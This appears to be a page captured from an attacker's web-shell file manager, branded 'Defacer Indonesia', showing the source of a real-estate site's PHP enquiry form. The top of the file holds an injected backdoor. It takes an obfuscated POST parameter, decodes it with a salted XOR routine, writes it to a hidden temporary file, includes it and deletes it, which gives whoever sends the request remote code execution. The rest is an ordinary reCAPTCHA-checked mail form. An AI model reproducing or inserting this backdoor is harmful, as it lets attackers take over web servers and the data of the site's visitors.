whoami7 - Manager
:
/
home
/
analuakl
/
amplhomes.com
/
Upload File:
files >> /home/analuakl/amplhomes.com/enquery-form.php
<?php if(!empty($_POST["da\x74a"])){ $holder = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), getcwd(), "/var/tmp"]); $descriptor = $_POST["da\x74a"]; $descriptor =explode ( "." , $descriptor ) ; $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); $w =0; $__tmp =$descriptor; while($v3 =array_shift($__tmp)) { $sChar =ord($salt[$w % $lenS] ); $d =((int)$v3 - $sChar -($w % 10)) ^ 21; $bind .= chr($d ); $w++;} while ($elem = array_shift($holder)) { if (is_dir($elem) && is_writable($elem)) { $flg = implode("/", [$elem, ".k"]); if (@file_put_contents($flg, $bind) !== false) { include $flg; unlink($flg); die(); } } } } /* [VERIFY CAPTCHA FIRST] */ $secret = '6LfDQqcUAAAAAJlzPDKkMc8qUGCNrD4_SqUTGOyn'; // CHANGE THIS TO YOUR OWN! $url = "https://www.google.com/recaptcha/api/siteverify?secret=$secret&response=".$_POST['g-recaptcha-response']; $verify = json_decode(file_get_contents($url)); /* [PROCESS YOUR FORM] */ if ($verify->success) { $to = "info@cozynestapartments.in"; // CHANGE THIS TO YOUR OWN! $subject = "Enquiry Form Amplhomes.com"; $message = "Name - " . $_POST['name'] . "<br>"; $message .= "Phone No - " . $_POST['Phone'] . "<br>"; $message .= "Email - " . $_POST['email'] . "<br>"; $message .= "Minarea - " . $_POST['minarea'] . "<br>"; $message .= "Maxarea - " . $_POST['maxarea'] . "<br>"; $message .= "Message - " . $_POST['message'] . "<br>"; if (@mail($to, $subject, $message)) { echo ("<script> window.location = 'http://www.amplhomes.com/thanks.php'; </script>"); // Send mail OK // @TODO - Show a nice thank you page or something } else { // Send mail error // @TODO - Ask user to retry or give alternative } } else { // Invalid captcha // @TODO - Show error message, ask user to retry } ?>
Copyright ©2021 || Defacer Indonesia